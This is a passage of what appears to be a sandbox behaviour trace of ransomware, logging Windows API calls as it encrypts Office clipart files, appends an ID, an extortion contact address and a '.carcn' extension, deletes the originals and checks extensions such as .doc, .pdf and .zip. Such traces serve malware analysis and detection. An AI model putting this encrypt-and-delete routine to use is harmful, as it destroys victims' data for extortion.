CloseHandle (hObject=0x34c) returned 1 [0311.197] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.197] SetEndOfFile (hFile=0x324) returned 1 [0311.198] CloseHandle (hObject=0x324) returned 1 [0311.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0311.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0311.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0311.201] lstrlenW (lpString=".doc") returned 4 [0311.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.201] lstrlenW (lpString=".docx") returned 5 [0311.201] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0311.201] lstrlenW (lpString=".pdf") returned 4 [0311.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.201] lstrlenW (lpString=".xls") returned 4 [0311.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.201] lstrlenW (lpString=".xlsx") returned 5 [0311.201] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0311.201] lstrlenW (lpString=".ppt") returned 4 [0311.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0311.201] lstrlenW (lpString=".zip") returned 4 [0311.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.202] lstrlenW (lpString=".rar") returned 4 [0311.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.202] lstrlenW (lpString=".bz2") returned 4 [0311.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.202] lstrlenW (lpString=".7z") returned 3 [0311.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0311.202] lstrlenW (lpString=".dbf") returned 4 [0311.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0311.202] lstrlenW (lpString=".1cd") returned 4 [0311.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68 [0311.202] lstrlenW (lpString=".jpg") returned 4 [0311.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.210] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.210] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.213] GetLastError () returned 0x0 [0311.213] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4146, lpOverlapped=0x0) returned 1 [0311.227] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4150, lpOverlapped=0x0) returned 1 [0311.228] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.228] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.228] SetEndOfFile (hFile=0x34c) returned 1 [0311.229] CloseHandle (hObject=0x34c) returned 1 [0311.229] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.229] SetEndOfFile (hFile=0x35c) returned 1 [0311.230] CloseHandle (hObject=0x35c) returned 1 [0311.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0311.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0311.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0311.231] lstrlenW (lpString=".doc") returned 4 [0311.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.231] lstrlenW (lpString=".docx") returned 5 [0311.231] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0311.231] lstrlenW (lpString=".pdf") returned 4 [0311.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.231] lstrlenW (lpString=".xls") returned 4 [0311.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.231] lstrlenW (lpString=".xlsx") returned 5 [0311.231] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0311.231] lstrlenW (lpString=".ppt") returned 4 [0311.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0311.231] lstrlenW (lpString=".zip") returned 4 [0311.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.232] lstrlenW (lpString=".rar") returned 4 [0311.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.232] lstrlenW (lpString=".bz2") returned 4 [0311.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.232] lstrlenW (lpString=".7z") returned 3 [0311.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0311.232] lstrlenW (lpString=".dbf") returned 4 [0311.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0311.232] lstrlenW (lpString=".1cd") returned 4 [0311.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0311.232] lstrlenW (lpString=".jpg") returned 4 [0311.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.233] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.233] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.233] GetLastError () returned 0x0 [0311.234] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xf0c1, lpOverlapped=0x0) returned 1 [0311.256] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xf0d0, lpOverlapped=0x0) returned 1 [0311.259] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.259] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.259] SetEndOfFile (hFile=0x34c) returned 1 [0311.260] CloseHandle (hObject=0x34c) returned 1 [0311.260] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.260] SetEndOfFile (hFile=0x35c) returned 1 [0311.261] CloseHandle (hObject=0x35c) returned 1 [0311.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0311.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0311.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0311.262] lstrlenW (lpString=".doc") returned 4 [0311.262] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.262] lstrlenW (lpString=".docx") returned 5 [0311.262] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0311.262] lstrlenW (lpString=".pdf") returned 4 [0311.262] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.262] lstrlenW (lpString=".xls") returned 4 [0311.262] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.262] lstrlenW (lpString=".xlsx") returned 5 [0311.262] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0311.262] lstrlenW (lpString=".ppt") returned 4 [0311.263] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0311.263] lstrlenW (lpString=".zip") returned 4 [0311.263] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.263] lstrlenW (lpString=".rar") returned 4 [0311.263] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.263] lstrlenW (lpString=".bz2") returned 4 [0311.263] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.263] lstrlenW (lpString=".7z") returned 3 [0311.263] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0311.263] lstrlenW (lpString=".dbf") returned 4 [0311.263] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0311.263] lstrlenW (lpString=".1cd") returned 4 [0311.263] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68 [0311.263] lstrlenW (lpString=".jpg") returned 4 [0311.263] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.302] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.302] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.303] GetLastError () returned 0x0 [0311.303] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x45cb, lpOverlapped=0x0) returned 1 [0311.320] WriteFile (in: hFile=0x388, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x45d0, lpOverlapped=0x0) returned 1 [0311.322] ReadFile (in: hFile=0x370, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.322] WriteFile (in: hFile=0x388, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.322] SetEndOfFile (hFile=0x388) returned 1 [0311.322] CloseHandle (hObject=0x388) returned 1 [0311.322] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.322] SetEndOfFile (hFile=0x370) returned 1 [0311.323] CloseHandle (hObject=0x370) returned 1 [0311.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0311.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0311.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0311.326] lstrlenW (lpString=".doc") returned 4 [0311.326] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.326] lstrlenW (lpString=".docx") returned 5 [0311.326] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0311.326] lstrlenW (lpString=".pdf") returned 4 [0311.326] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.326] lstrlenW (lpString=".xls") returned 4 [0311.326] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.326] lstrlenW (lpString=".xlsx") returned 5 [0311.326] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0311.326] lstrlenW (lpString=".ppt") returned 4 [0311.326] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0311.327] lstrlenW (lpString=".zip") returned 4 [0311.327] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.327] lstrlenW (lpString=".rar") returned 4 [0311.327] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.327] lstrlenW (lpString=".bz2") returned 4 [0311.327] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.327] lstrlenW (lpString=".7z") returned 3 [0311.327] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0311.327] lstrlenW (lpString=".dbf") returned 4 [0311.327] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0311.327] lstrlenW (lpString=".1cd") returned 4 [0311.327] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0311.327] lstrlenW (lpString=".jpg") returned 4 [0311.327] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.333] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.333] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.334] GetLastError () returned 0x0 [0311.334] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x9a76, lpOverlapped=0x0) returned 1 [0311.366] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x9a80, lpOverlapped=0x0) returned 1 [0311.368] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.368] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.368] SetEndOfFile (hFile=0x34c) returned 1 [0311.369] CloseHandle (hObject=0x34c) returned 1 [0311.369] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.369] SetEndOfFile (hFile=0x35c) returned 1 [0311.370] CloseHandle (hObject=0x35c) returned 1 [0311.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0311.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0311.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0311.372] lstrlenW (lpString=".doc") returned 4 [0311.372] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.372] lstrlenW (lpString=".docx") returned 5 [0311.372] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0311.372] lstrlenW (lpString=".pdf") returned 4 [0311.372] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.372] lstrlenW (lpString=".xls") returned 4 [0311.372] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.372] lstrlenW (lpString=".xlsx") returned 5 [0311.372] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0311.372] lstrlenW (lpString=".ppt") returned 4 [0311.372] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0311.373] lstrlenW (lpString=".zip") returned 4 [0311.373] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.373] lstrlenW (lpString=".rar") returned 4 [0311.373] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.373] lstrlenW (lpString=".bz2") returned 4 [0311.373] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.373] lstrlenW (lpString=".7z") returned 3 [0311.373] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0311.373] lstrlenW (lpString=".dbf") returned 4 [0311.373] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0311.373] lstrlenW (lpString=".1cd") returned 4 [0311.373] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0311.373] lstrlenW (lpString=".jpg") returned 4 [0311.373] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.374] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.375] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.376] GetLastError () returned 0x0 [0311.376] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0311.423] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0311.425] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.425] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.425] SetEndOfFile (hFile=0x34c) returned 1 [0311.426] CloseHandle (hObject=0x34c) returned 1 [0311.426] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.426] SetEndOfFile (hFile=0x35c) returned 1 [0311.427] CloseHandle (hObject=0x35c) returned 1 [0311.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0311.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0311.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0311.428] lstrlenW (lpString=".doc") returned 4 [0311.428] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.428] lstrlenW (lpString=".docx") returned 5 [0311.428] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0311.428] lstrlenW (lpString=".pdf") returned 4 [0311.428] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.428] lstrlenW (lpString=".xls") returned 4 [0311.428] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.428] lstrlenW (lpString=".xlsx") returned 5 [0311.428] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0311.428] lstrlenW (lpString=".ppt") returned 4 [0311.428] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0311.429] lstrlenW (lpString=".zip") returned 4 [0311.429] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.429] 